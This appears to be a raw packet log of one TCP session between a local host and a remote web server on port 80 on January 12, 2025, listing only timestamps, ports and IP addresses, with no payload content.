Jan 12, 2025 17:39:11.348845959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348845959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348845959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348867893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348896980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348927975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348938942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348938942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348938942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348961115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348994017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349026918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349036932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349036932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349036932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349061012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349096060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349128008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349159956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349179983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349179983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349180937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349189043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349220037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349234104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349234104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349252939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349284887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349318027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349328041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349328041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349328041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349349976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349383116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349411964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349411964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349415064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349427938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349450111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349481106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349488020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349488020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349514961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349523067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349549055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349581003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349601030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349601030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349615097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349641085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349649906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349684000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349711895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349714041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349714041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349730015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349744081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349773884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349777937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349809885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349818945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349818945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349843025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349870920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349903107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349910975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349910975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349910975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.349937916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.349970102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.350003004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.350016117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.350016117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.350016117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.350493908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404350996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404390097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404434919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404467106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404479980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404479980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404479980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404512882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404524088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404556036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404618025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404653072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404653072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404676914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404710054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404711008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404743910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404789925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404795885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404795885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404795885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404822111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404855967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404889107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404900074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404900074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404900074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404925108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404952049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.404953003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.404969931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405023098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405186892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405257940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405267954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405318975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405328035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405383110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405392885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405457020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405517101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405565977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405565977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405565977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405565977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405599117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405642986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405680895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405680895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405692101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405787945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405796051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405828953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405869961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405869961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405881882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405915022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405949116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.405957937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405957937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405957937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.405997992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406032085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406063080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406075001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406075001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406075001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406111956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406157017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406184912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406184912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406280041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406330109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406339884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406339884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406363964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406388998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406399012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406440020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406445026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406445026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406474113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406486034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406507015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406539917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406573057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406590939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406590939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406590939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406605959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406639099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406656981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406656981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406672001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406707048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406739950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406749964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406749964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406749964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406773090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406800985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406836033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406846046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406846046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406846046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406868935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406903028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406949043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.406961918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406961918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406961918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.406981945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407013893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407033920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407033920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407046080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407078028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407102108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407103062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407113075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407119036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407145977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407186985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407186985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407190084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407224894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407239914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407263994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407291889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.407330036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407330036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.407330036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433691025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433757067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433792114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433835030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433835030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433835030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433851957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433886051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433918953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433933020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433933020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433959961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433993101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.433999062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.433999062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434029102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434050083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434058905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434078932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434094906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434139013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434144974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434144974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434201002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434236050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434257030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434262991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434315920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434338093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434376001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434376001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434426069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434473038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434477091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434477091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434520006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434564114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434614897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434614897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434614897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434626102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434659958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434705019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434705019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434714079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434761047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434773922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434802055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434844017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434871912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434895039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.434931993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.434981108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435014009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435024023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435024023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435024023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435048103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435076952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435094118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435108900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435122013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435156107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435162067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435162067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435189009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435220003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435249090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435249090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435252905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435285091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435286045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435328960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435336113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435369968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435401917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435422897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435422897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435436964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435468912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435481071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435481071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435497999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435528040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435561895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435570002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435570002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435570002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435594082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435626030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435636997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435636997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435658932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435664892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435691118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435724020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435754061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435754061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435755968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435786009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435789108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435789108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435818911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435822964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435851097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435883999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435916901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435921907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435950041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.435961008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.435961008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436037064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436070919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436080933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436080933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436106920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436129093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436139107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436156034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436172009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436203957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436239958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436249018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436249018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436249018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436271906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436305046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436305046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.436330080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.436389923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490654945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490695953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490741968 CET	80	49975	31.41.244.11	192.168.2.7
